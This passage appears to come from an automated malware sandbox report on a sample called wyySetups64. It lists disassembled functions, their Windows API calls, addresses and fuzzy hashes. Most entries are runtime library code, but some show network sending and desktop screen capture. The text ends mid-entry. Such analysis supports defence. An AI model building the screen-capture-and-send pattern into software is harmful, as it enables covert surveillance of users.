Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: ErrorLast$EventSelectsend
String ID:
API String ID: 259408233-0
Opcode ID: 3a5e91bce96a467332f71bf8bb337ada18ec38dc8f6c50f416b6133e7b328257
Instruction ID: fc98328f019d9a7072989e5fdabd2e9bd063316ee2fb66a9001bfaa18db3d6a6
Opcode Fuzzy Hash: 3a5e91bce96a467332f71bf8bb337ada18ec38dc8f6c50f416b6133e7b328257
Instruction Fuzzy Hash: C4118CB6610B005BD3308B79DCC8A47B6E9FB88B14F010A2EE557D7791EB31E8008B61

Function 03373BF0 Relevance: 6.1, APIs: 4, Instructions: 58networkCOMMON

Download Yara Rule

APIs

WSAEventSelect.WS2_32(?,03373ABB,00000023), ref: 03373C02
WSAGetLastError.WS2_32 ref: 03373C0D
send.WS2_32(?,00000000,00000000,00000000), ref: 03373C58
WSAGetLastError.WS2_32 ref: 03373C63

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: ErrorLast$EventSelectsend
String ID:
API String ID: 259408233-0
Opcode ID: a39f6d4730221b297e35787fe6fc5c7d224c87d3b1cae470d725bdeef8e7ae9f
Instruction ID: 648dbf4906354e0fe107e2aec1ea5cd0212d50f6d6c0662e484d2de44bff8e7b
Opcode Fuzzy Hash: a39f6d4730221b297e35787fe6fc5c7d224c87d3b1cae470d725bdeef8e7ae9f
Instruction Fuzzy Hash: 311121B6610B00ABD730DF79DCC8A57B6EDBB88720F110A2DE656C7650D775E4409B90

Function 00BDF361 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00BDF387

Part of subcall function 00BDF1B3: __fltout2.LIBCMT ref: 00BDF1DE

__cftog_l.LIBCMT ref: 00BDF3AD
__cftoe_l.LIBCMT ref: 00BDF3DF

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 4e35d942eeb0135b02514ed3e9bbf44bbebcc004eb602d2d7374b1972ce5b6eb
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 3711873600414AFBCF126E84CC41CED7FA3FF08354B598566FA1958230E332C971AB85

Function 0338BDEB Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0338BE11

Part of subcall function 0338BC3D: __fltout2.LIBCMT ref: 0338BC68

__cftog_l.LIBCMT ref: 0338BE37
__cftoe_l.LIBCMT ref: 0338BE69

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 767d316afba0ff529dafcf630d2515ea3af18583bc8674d6b17847c05f352b28
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 02118C3640024EBFCF26AF84DC91CEEBF67BF58250B488454FA2858130C736D5B1AB91

Function 0320B7AA Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0320B7D0

Part of subcall function 0320B5FC: __fltout2.LIBCMT ref: 0320B627

__cftog_l.LIBCMT ref: 0320B7F6
__cftoe_l.LIBCMT ref: 0320B828

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 16d1b0ac47b5f40c91b57cb27e67ce868e2f9b990154ce511d8149e62a8898a9
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: AB11807642014EBBCF229F84DC55CEE3F26FB18250F088424FE1858171D336C5B5AB81

Function 00B2F338 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00B2F35E

Part of subcall function 00B2F18A: __fltout2.LIBCMT ref: 00B2F1B5

__cftog_l.LIBCMT ref: 00B2F384
__cftoe_l.LIBCMT ref: 00B2F3B6

Memory Dump Source

Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 2c7453700ae3641b48d28b2a8939d8f19bc4f6fb23cf5149969b77ec5a828850
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 85116D3200415ABBCF169E84EC51CEE3FB2BF18350B5888A4FE1C58031C636C9B1AB85

Function 033741E0 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(03374FB5,03374E55,033742BE,00000000,?,?,03374E55,?,?,?,?,00000000,000000FF), ref: 033741E8
LeaveCriticalSection.KERNEL32(03374FB5,?,?,?,00000000,000000FF), ref: 033741F6
LeaveCriticalSection.KERNEL32(03374FB5), ref: 03374257
SetEvent.KERNEL32(8520468B), ref: 03374272

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: 9bb9d00b3b44ed315699758d7464957a79aaae2da8550008b900916b4c989053
Instruction ID: 4d50dd0bc7e5ce7d953a1114d1edae75f90892c1bc4583f1f71409d85f6c2da1
Opcode Fuzzy Hash: 9bb9d00b3b44ed315699758d7464957a79aaae2da8550008b900916b4c989053
Instruction Fuzzy Hash: 2011F5B0601B09EFD765CF75D9C4A97B7E9BF48300F15896EE45A8B210EB35E811CB00

Function 00BD4AE0 Relevance: 6.0, APIs: 4, Instructions: 45timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(00000001,?,00000001,?,00BD3C4F,?,?,00000001), ref: 00BD4AF5
InterlockedIncrement.KERNEL32(00000001), ref: 00BD4B04
InterlockedIncrement.KERNEL32(00000001), ref: 00BD4B11
timeGetTime.WINMM(?,00BD3C4F,?,?,00000001), ref: 00BD4B28

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: IncrementInterlockedTimetime
String ID:
API String ID: 159728177-0
Opcode ID: 45e87ad6e8e5482180ac3a07973a39e72ce44e5a5629eca88db6ec3e0e521b96
Instruction ID: 90ca490b29e50cc276cd42b04762cd8125fd4689a09007f2f9402e6cac5393c4
Opcode Fuzzy Hash: 45e87ad6e8e5482180ac3a07973a39e72ce44e5a5629eca88db6ec3e0e521b96
Instruction Fuzzy Hash: 5801C8B1600B059FC760DF6AD88094AFBE9AF58750700892AE549C7711E774E6458F90

Function 03374B00 Relevance: 6.0, APIs: 4, Instructions: 45timeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM(00000001,?,00000001,?,03373C4F,?,?,00000001), ref: 03374B15
InterlockedIncrement.KERNEL32(00000001), ref: 03374B24
InterlockedIncrement.KERNEL32(00000001), ref: 03374B31
timeGetTime.WINMM(?,03373C4F,?,?,00000001), ref: 03374B48

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: IncrementInterlockedTimetime
String ID:
API String ID: 159728177-0
Opcode ID: 0e177de0c34a299e184ccf8c18cce01920a14cd3210eac452c8fd401d03b4f07
Instruction ID: 2a5f25cb0e7a5c773dd37b4b892846a7818c0d21703ba4f26a957d4d113c8ef8
Opcode Fuzzy Hash: 0e177de0c34a299e184ccf8c18cce01920a14cd3210eac452c8fd401d03b4f07
Instruction Fuzzy Hash: 2401C8B5A00709AFC760EF7AD88094AFBECAF5C650700892AE549C7610E775E5448FA0

Function 00BD3660 Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 00BD3667
_free.LIBCMT ref: 00BD369C

Part of subcall function 00BD6E49: HeapFree.KERNEL32(00000000,00000000,?,00BD9900,00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F), ref: 00BD6E5F
Part of subcall function 00BD6E49: GetLastError.KERNEL32(00000000,?,00BD9900,00000000,?,00BD9FB0,00000000,00000001,00000000,?,00BDC0CF,00000018,00BE7C70,0000000C,00BDC15F,00000000), ref: 00BD6E71

_malloc.LIBCMT ref: 00BD36D7
_memset.LIBCMT ref: 00BD36E5

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: CreateErrorFreeHeapLastTimerWaitable_free_malloc_memset
String ID:
API String ID: 3340475617-0
Opcode ID: fe23c8738aecdda0c74f7913483e1047f9e528227aaf4301a4c221f7863492fb
Instruction ID: be59842845832f08a30eb9bb2f2ab2c2bbe945b66f97783102e7022f2f0b3f85
Opcode Fuzzy Hash: fe23c8738aecdda0c74f7913483e1047f9e528227aaf4301a4c221f7863492fb
Instruction Fuzzy Hash: 4D01C8B5900B449FE3609F7AD881B97FBE8EB85314F10486EE5AE87302D635A9048F60

Function 03373660 Relevance: 6.0, APIs: 4, Instructions: 42timeCOMMON

Download Yara Rule

APIs

CreateWaitableTimerW.KERNEL32(00000000,00000000,00000000), ref: 03373667
_free.LIBCMT ref: 0337369C

Part of subcall function 0337F639: RtlFreeHeap.NTDLL(00000000,00000000,?,03383E4C,00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76), ref: 0337F64F
Part of subcall function 0337F639: GetLastError.KERNEL32(00000000,?,03383E4C,00000000,?,03384500,00000000,00000001,00000000,?,03388DE6,00000018,03396448,0000000C,03388E76,00000000), ref: 0337F661

_malloc.LIBCMT ref: 033736D7
_memset.LIBCMT ref: 033736E5

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: CreateErrorFreeHeapLastTimerWaitable_free_malloc_memset
String ID:
API String ID: 3340475617-0
Opcode ID: b8ce50eb5aec77447df49473cd7e8ca4a5284579f7211c3c57fbf4408d14edb2
Instruction ID: 3e8514d88f3da56cb416f642f2df6e39c3ea67662d24457fc3fcc33f7011032f
Opcode Fuzzy Hash: b8ce50eb5aec77447df49473cd7e8ca4a5284579f7211c3c57fbf4408d14edb2
Instruction Fuzzy Hash: 0101C4B5900B04DFE370DF7A98C1B97BAE9FB85214F14482EE5AE87301D635A8058F60

Function 031FF0C6 Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 031FF0E0

Part of subcall function 031FF032: __FF_MSGBANNER.LIBCMT ref: 031FF04B
Part of subcall function 031FF032: __NMSG_WRITE.LIBCMT ref: 031FF052

std::exception::exception.LIBCMT ref: 031FF115
std::exception::exception.LIBCMT ref: 031FF12F
__CxxThrowException@8.LIBCMT ref: 031FF140

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID:
API String ID: 2388904642-0
Opcode ID: b08fdf8cb5e3b65abb6e8e2bd981c9ae2de8ac343fbf2f6e0fd6789c4a68690e
Instruction ID: 99a796a49e144bb3d41e9e54757bc41baa85c5a55cd863a1d90de2e4b490878c
Opcode Fuzzy Hash: b08fdf8cb5e3b65abb6e8e2bd981c9ae2de8ac343fbf2f6e0fd6789c4a68690e
Instruction Fuzzy Hash: A4F02D794003157FDB15FB54DC24ABF7BA9DB48644F944069D6009A1D1DBF18A43CB50

Function 00B26EEE Relevance: 6.0, APIs: 4, Instructions: 41COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 00B26F08

Part of subcall function 00B26E5A: __FF_MSGBANNER.LIBCMT ref: 00B26E73
Part of subcall function 00B26E5A: __NMSG_WRITE.LIBCMT ref: 00B26E7A

std::exception::exception.LIBCMT ref: 00B26F3D
std::exception::exception.LIBCMT ref: 00B26F57
__CxxThrowException@8.LIBCMT ref: 00B26F68

Memory Dump Source

Source File: 00000001.00000002.4116355062.0000000000B20000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b20000_wyySetups64.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw_malloc
String ID:
API String ID: 2388904642-0
Opcode ID: 1e9301e5085f9c58ec7a0ab4f7fc891bb570a668ba91a7db57855d99bd873ef8
Instruction ID: a9571a0e2c7d16b19460eb080eaeac8ca88343ca5ae13197b3ca2a44d8ef4c75
Opcode Fuzzy Hash: 1e9301e5085f9c58ec7a0ab4f7fc891bb570a668ba91a7db57855d99bd873ef8
Instruction Fuzzy Hash: 7DF0F431404279A6DF00EB64EC85AAD3BE5EB41304F1400A8E42C9E0D2DFB1CAC18754

Function 00BD6490 Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD1420: HeapFree.KERNEL32(?,00000000,?,?,?,00BD40B1,?,00000000,00BD4039,?,74DEDFA0,00BD3648), ref: 00BD143D
Part of subcall function 00BD1420: _free.LIBCMT ref: 00BD1459

HeapDestroy.KERNEL32(00000000), ref: 00BD64A3
HeapCreate.KERNEL32(?,?,?), ref: 00BD64B5
_free.LIBCMT ref: 00BD64C5
HeapDestroy.KERNEL32 ref: 00BD64F2

Memory Dump Source

Source File: 00000001.00000002.4116723964.0000000000BD1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000001.00000002.4116694335.0000000000BD0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116886071.0000000000BE5000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116935852.0000000000BE9000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4116976160.0000000000BEF000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.4117023604.0000000000BF1000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_bd0000_wyySetups64.jbxd

Similarity

API ID: Heap$Destroy_free$CreateFree
String ID:
API String ID: 4097506873-0
Opcode ID: bc2ef5737f13cc1dca07ff88fb41ad41101f48d96f24059e56ec94eb2252a633
Instruction ID: 1d04b57628ed8d8c306f8ce02c1279f842cfbfd84b8eb618e81a1ffc8c2aa876
Opcode Fuzzy Hash: bc2ef5737f13cc1dca07ff88fb41ad41101f48d96f24059e56ec94eb2252a633
Instruction Fuzzy Hash: D0F037B9500B02ABE7209F25E848B13F7F8FF84714F108519E85987341EB34E851CFA0

Function 0337CD80 Relevance: 6.0, APIs: 4, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 03371420: HeapFree.KERNEL32(?,00000000,?,?,?,033740B1,?,00000000,03374039,?,74DEDFA0,03373648), ref: 0337143D
Part of subcall function 03371420: _free.LIBCMT ref: 03371459

HeapDestroy.KERNEL32(00000000), ref: 0337CD93
HeapCreate.KERNEL32(?,?,?), ref: 0337CDA5
_free.LIBCMT ref: 0337CDB5
HeapDestroy.KERNEL32 ref: 0337CDE2

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Heap$Destroy_free$CreateFree
String ID:
API String ID: 4097506873-0
Opcode ID: 486bdfacdb72d6492ca5413d72cfc18c2f231149ef5c10e281bb8947273a85e3
Instruction ID: 30179390464c8cf0b6f411f64ef20966cc31d837b8671036422129210e4c91ec
Opcode Fuzzy Hash: 486bdfacdb72d6492ca5413d72cfc18c2f231149ef5c10e281bb8947273a85e3
Instruction Fuzzy Hash: 09F04FB9500B05EBD320DF24E888B57FBB8FF44B10F144919E859CB640D739E851CB90

Function 031F980F Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 302COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 031F997F

Part of subcall function 031FF032: __FF_MSGBANNER.LIBCMT ref: 031FF04B
Part of subcall function 031FF032: __NMSG_WRITE.LIBCMT ref: 031FF052

_memcpy_s.LIBCMT ref: 031F9B42

Strings

&, xrefs: 031F98A0

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: _malloc_memcpy_s
String ID: &
API String ID: 3561290194-3042966939
Opcode ID: c8a5b5b6493a3e00500570122ab972c2785b00225f4301cae1c49e60748ae0d9
Instruction ID: d588f06b8c31bb3fa14b7d4812884b0d6d7d8043eae5ce653cc29eeebf797a24
Opcode Fuzzy Hash: c8a5b5b6493a3e00500570122ab972c2785b00225f4301cae1c49e60748ae0d9
Instruction Fuzzy Hash: 6EC15DF1A002199FDB24DF55CCC0BAAB7B8FB4C304F1485A9E709A7251D774AA85CFA4

Function 031FC2CF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

_wcsrchr.LIBCMT ref: 031FC386
_memset.LIBCMT ref: 031FC3C3

Strings

D, xrefs: 031FC3E2

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: _memset_wcsrchr
String ID: D
API String ID: 1675014779-2746444292
Opcode ID: 9448fe74a29e6cb94ba3ba7ffaf0542041cc64757f3c043286b2e5ea21082185
Instruction ID: 1af3cc4063c4e8490de7cd1a3f131b2e139db85a5af26bf96a3c244f4901446b
Opcode Fuzzy Hash: 9448fe74a29e6cb94ba3ba7ffaf0542041cc64757f3c043286b2e5ea21082185
Instruction Fuzzy Hash: 0B3109729402187BE724D7A49C89FFF776CEB48710F140124FB0A9A1C1DB715946C7E5

Function 0337B19D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 0337BC70: GetDesktopWindow.USER32 ref: 0337BC8F
Part of subcall function 0337BC70: GetDC.USER32(00000000), ref: 0337BC9C
Part of subcall function 0337BC70: CreateCompatibleDC.GDI32(00000000), ref: 0337BCA2
Part of subcall function 0337BC70: GetDC.USER32(00000000), ref: 0337BCAD
Part of subcall function 0337BC70: GetDeviceCaps.GDI32(00000000,00000008), ref: 0337BCBA
Part of subcall function 0337BC70: GetDeviceCaps.GDI32(00000000,00000076), ref: 0337BCC2
Part of subcall function 0337BC70: ReleaseDC.USER32(00000000,00000000), ref: 0337BCD3
Part of subcall function 0337BC70: GetSystemMetrics.USER32(0000004C), ref: 0337BD78
Part of subcall function 0337BC70: GetSystemMetrics.USER32(0000004D), ref: 0337BD8D
Part of subcall function 0337BC70: CreateCompatibleBitmap.GDI32(?,?,00000000), ref: 0337BDA6
Part of subcall function 0337BC70: SelectObject.GDI32(?,00000000), ref: 0337BDB4
Part of subcall function 0337BC70: SetStretchBltMode.GDI32(?,00000003), ref: 0337BDC0
Part of subcall function 0337BC70: GetSystemMetrics.USER32(0000004F), ref: 0337BDCD
Part of subcall function 0337BC70: GetSystemMetrics.USER32(0000004E), ref: 0337BDE0

Part of subcall function 0337F707: _malloc.LIBCMT ref: 0337F721

_memset.LIBCMT ref: 0337B1E1
swprintf.LIBCMT ref: 0337B204

Strings

%s %s, xrefs: 0337B1F3

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: MetricsSystem$CapsCompatibleCreateDevice$BitmapDesktopModeObjectReleaseSelectStretchWindow_malloc_memsetswprintf
String ID: %s %s
API String ID: 1028806752-581060391
Opcode ID: 572366aca2e1a64659ee5be7b88292472d745c51d76f8a737aa906f3c0c5fd02
Instruction ID: db37aa0c4eeec896a6997697fcfdd0a69d035c6ee9b408b3f620359a73225638
Opcode Fuzzy Hash: 572366aca2e1a64659ee5be7b88292472d745c51d76f8a737aa906f3c0c5fd02
Instruction Fuzzy Hash: AE21BFB6A04340ABE620EB199CC5E6FB7E8AFD9710F08056EF4895A201E6649915C7A3

Function 03379100 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 03379115

Part of subcall function 0337EF39: std::exception::exception.LIBCMT ref: 0337EF4E
Part of subcall function 0337EF39: __CxxThrowException@8.LIBCMT ref: 0337EF63
Part of subcall function 0337EF39: std::exception::exception.LIBCMT ref: 0337EF74

std::_Xinvalid_argument.LIBCPMT ref: 03379128

Strings

string too long, xrefs: 03379110, 03379123

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Xinvalid_argumentstd::_std::exception::exception$Exception@8Throw
String ID: string too long
API String ID: 963545896-2556327735
Opcode ID: 50ecd1f254c096c32de407652e26b4e18907cb5b0b1317762743149dac49ebdc
Instruction ID: ef21f47c9946d768316be3b02cfe172a4ad0e0382e7dceee0c3fd2c1fb15c3e8
Opcode Fuzzy Hash: 50ecd1f254c096c32de407652e26b4e18907cb5b0b1317762743149dac49ebdc
Instruction Fuzzy Hash: 7811C47A7543408BD331CE2CEC84B1AB7E9ABE6621F150B6EE191CB741C776D815C3A4

Function 033793F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 0337941D
std::_Xinvalid_argument.LIBCPMT ref: 0337944A

Strings

invalid string position, xrefs: 03379445

Memory Dump Source

Source File: 00000001.00000002.4120084885.0000000003370000.00000040.00001000.00020000.00000000.sdmp, Offset: 03370000, based on PE: true

Associated: 00000001.00000002.4120084885.00000000033A4000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3370000_wyySetups64.jbxd

Similarity

API ID: Exception@8ThrowXinvalid_argumentstd::_
String ID: invalid string position
API String ID: 3614006799-1799206989
Opcode ID: f72ebc197061ddeddacc69adaae222fc3907c17fdbe6616fb7908f1ed4acc06d
Instruction ID: ec0c6cf4a6b1f96f1f127e4ef8334471d007ea154abc188bc5f7f4fc204125d4
Opcode Fuzzy Hash: f72ebc197061ddeddacc69adaae222fc3907c17fdbe6616fb7908f1ed4acc06d
Instruction Fuzzy Hash: 37012637A003109BD734EE6CCCC078AF3A9AB40660F150B6DE1528FA80DB75EA81C3E1

Function 031FF179 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__output_l.LIBCMT ref: 031FF1D4

Part of subcall function 031FF2DA: __getptd_noexit.LIBCMT ref: 031FF2DA

Strings

B, xrefs: 031FF1CD

Memory Dump Source

Source File: 00000001.00000002.4119630030.00000000031F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 031F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_31f0000_wyySetups64.jbxd

Similarity

API ID: __getptd_noexit__output_l
String ID: B
API String ID: 2141734944-1255198513
Opcode ID: 87aa76b5352f051ca7e96a60a55cb843f290c199b1586efbdbad223d858718fb
Instruction ID: b1f670a7d3431727708133c7095c36d0f5971c3db562649aa82ddccada6841d4
Opcode Fuzzy Hash: 87aa76b5352f051ca7e96a60a55cb843f290c199b1586efbdbad223d858718fb
Instruction Fuzzy Hash: EC016D75E042099FDF10EFA4CC01AEEBBB8EB08364F144155E924AA2C1D7B4E556CBA5

Function 00B26FA1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

__output_l.LIBCMT ref: 00B26FFC

Part of subcall function 00B270E4: __getptd_noexit.LIBCMT ref: 00B270E4

Strings

B, xrefs: 00B26FF5

Memory Dump Source

